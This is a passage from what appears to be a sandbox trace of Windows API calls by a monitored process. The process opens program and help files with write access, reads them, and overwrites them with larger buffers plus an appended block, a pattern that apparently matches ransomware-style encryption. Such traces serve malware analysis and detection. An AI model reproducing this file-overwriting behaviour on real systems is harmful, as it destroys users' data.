hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.131] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x612e [0055.131] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.131] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.131] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.131] CloseHandle (hObject=0x1b0) returned 1 [0055.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\squirting.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\squirting.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\squirting.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\squirting.exe", lpFilePart=0x340f690*="squirting.exe") returned 0x3e [0055.132] GetLastError () returned 0x20 [0055.132] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0055.132] LocalFree (hMem=0x70da60) returned 0x0 [0055.132] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0055.132] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0055.132] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.132] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.132] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\squirting.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\squirting.exe")) returned 0x20 [0055.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.134] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.134] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1ca70 [0055.134] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.134] ReleaseMutex (hMutex=0x128) returned 1 [0055.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0055.134] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="crashreporter.exe", cchWideChar=17, lpMultiByteStr=0x1e78c44, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crashreporter.exe", lpUsedDefaultChar=0x0) returned 17 [0055.134] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0055.136] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ba70 [0055.136] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.138] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ba70 [0055.138] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.138] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.138] WriteFile (in: hFile=0x1b0, lpBuffer=0x2804cf8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2804cf8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0055.138] CloseHandle (hObject=0x1b0) returned 1 [0055.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.139] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.139] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x383 [0055.139] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.139] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.140] ReleaseMutex (hMutex=0x128) returned 1 [0055.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nssdbm3.chk", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0055.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nssdbm3.chk", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nssdbm3.chk", lpUsedDefaultChar=0x0) returned 11 [0055.140] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x383, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x340f2bc*=0x383, lpOverlapped=0x0) returned 1 [0055.141] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.141] WriteFile (in: hFile=0x1b0, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x90b, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x90b, lpOverlapped=0x0) returned 1 [0055.141] CloseHandle (hObject=0x1b0) returned 1 [0055.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\helper.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.143] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.143] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd4fa0 [0055.143] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.143] ReleaseMutex (hMutex=0x128) returned 1 [0055.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="helper.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0055.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="helper.exe", cchWideChar=10, lpMultiByteStr=0x1e630ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="helper.exe", lpUsedDefaultChar=0x0) returned 10 [0055.143] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0055.153] ReadFile (in: hFile=0x1b0, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.158] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd3fa0 [0055.158] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.161] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xd3fa0 [0055.162] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.163] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.163] WriteFile (in: hFile=0x1b0, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0055.163] WriteFile (in: hFile=0x1b0, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0055.163] CloseHandle (hObject=0x1b0) returned 1 [0055.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\uninstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.164] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.164] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x19ee4 [0055.164] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.164] ReleaseMutex (hMutex=0x128) returned 1 [0055.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0055.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall.exe", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Uninstall.exe", lpUsedDefaultChar=0x0) returned 13 [0055.164] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0055.168] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x18ee4 [0055.168] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ee28*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0055.169] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x18ee4 [0055.169] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c958*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c958*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0055.169] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0055.169] WriteFile (in: hFile=0x1b0, lpBuffer=0x2804cf8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2804cf8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0055.170] CloseHandle (hObject=0x1b0) returned 1 [0055.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui", lpFilePart=0x340f690*="msoeres.dll.mui") returned 0x39 [0055.170] GetLastError () returned 0x5 [0055.170] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0055.170] LocalFree (hMem=0x70b5a8) returned 0x0 [0055.170] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0055.170] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0055.170] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.171] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.171] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\msoeres.dll.mui" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\msoeres.dll.mui")) returned 0x20 [0055.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\secretary.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\secretary.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.171] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\secretary.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\secretary.exe", lpFilePart=0x340f690*="secretary.exe") returned 0x39 [0055.171] GetLastError () returned 0x20 [0055.171] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0055.171] LocalFree (hMem=0x70da60) returned 0x0 [0055.171] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0055.171] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0055.171] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.172] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0055.172] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\secretary.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\secretary.exe")) returned 0x20 [0055.172] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x14c [0055.175] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.175] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.175] ReleaseMutex (hMutex=0x128) returned 1 [0055.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GROOVE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0055.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.GROOVE.14.1033.hxn", cchWideChar=21, lpMultiByteStr=0x1e78bcc, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.GROOVE.14.1033.hxn", lpUsedDefaultChar=0x0) returned 21 [0055.176] ReadFile (in: hFile=0x1b0, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x14c, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x340f2bc*=0x14c, lpOverlapped=0x0) returned 1 [0055.177] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.177] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d4, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6d4, lpOverlapped=0x0) returned 1 [0055.177] CloseHandle (hObject=0x1b0) returned 1 [0055.177] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.onenote.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.181] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.182] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x152 [0055.182] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.182] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.182] ReleaseMutex (hMutex=0x128) returned 1 [0055.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.ONENOTE.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.ONENOTE.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.ONENOTE.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0055.182] ReadFile (in: hFile=0x1b0, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x340f2bc*=0x152, lpOverlapped=0x0) returned 1 [0055.198] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.198] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6da, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6da, lpOverlapped=0x0) returned 1 [0055.198] CloseHandle (hObject=0x1b0) returned 1 [0055.199] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x15e [0055.199] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.199] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.199] ReleaseMutex (hMutex=0x128) returned 1 [0055.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_STD.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0055.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.VISIO_STD.14.1033.hxn", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.VISIO_STD.14.1033.hxn", lpUsedDefaultChar=0x0) returned 24 [0055.199] ReadFile (in: hFile=0x1b0, lpBuffer=0x2635da8, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635da8*, lpNumberOfBytesRead=0x340f2bc*=0x15e, lpOverlapped=0x0) returned 1 [0055.200] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.200] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e6, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, 